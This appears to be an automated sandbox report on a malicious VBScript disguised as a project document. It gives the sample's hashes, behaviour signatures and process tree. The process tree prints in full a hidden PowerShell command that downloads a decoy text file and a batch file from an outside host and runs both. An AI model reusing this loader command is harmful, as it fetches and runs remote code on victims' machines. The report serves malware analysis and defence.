Analysis

  • max time kernel
    39s
  • max time network
    24s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/10/2026, 22:41

General

  • Target
    Project_Details_and_Requirements.vbs
  • Size 649B
  • Sample261022-2mda9avtdv
  • SHA256 60fed83e2bd582fd8f146d14f4053a97fba099349c6c4e3df8e20da74ade82d8
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Project_Details_and_Requirements.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:6124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';$t=$env:TEMP;$a=@(@{u='https://kohlerronan.com/sh.txt';p=Join-Path $t 'Project Details and Requirements.txt'},@{u='https://kohlerronan.com/rp99.bat';p=Join-Path $t 'rp99.bat'});foreach($f in $a){try{Invoke-WebRequest -Uri $f.u -OutFile $f.p -TimeoutSec 30 -ErrorAction Stop}catch{}};foreach($f in $a){if(Test-Path -LiteralPath $f.p){Start-Process -FilePath $f.p}}"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5612
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Project Details and Requirements.txt
        3⤵
          PID:2432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rp99.bat" "
          3⤵
          • Executes a command shell one-liner
          PID:2224

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          Project Details and Requirements.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Project Details and Requirements.txt
          • Size 11KB
          • SHA256 6552326a992c70a9e6f24487386c7d556f63e8baeac2468ae31282130b21baea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          rp99.bat

          • Path C:\Users\Admin\AppData\Local\Temp\rp99.bat
          • Size 11KB
          • SHA256 423c302d9ed13227d242cd9661425247f392525cf75009e815c5f4e03ebb92d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/5612-0-0x00007FF8530AF000-0x00007FF8530B0000-memory.dmp

          memory/5612-3-0x00000189A5F00000-0x00000189A5F22000-memory.dmp

          memory/5612-4-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

          memory/5612-5-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

          memory/5612-6-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

          memory/5612-7-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

          memory/5612-8-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

          memory/5612-9-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

          memory/5612-22-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

          memory/5612-23-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp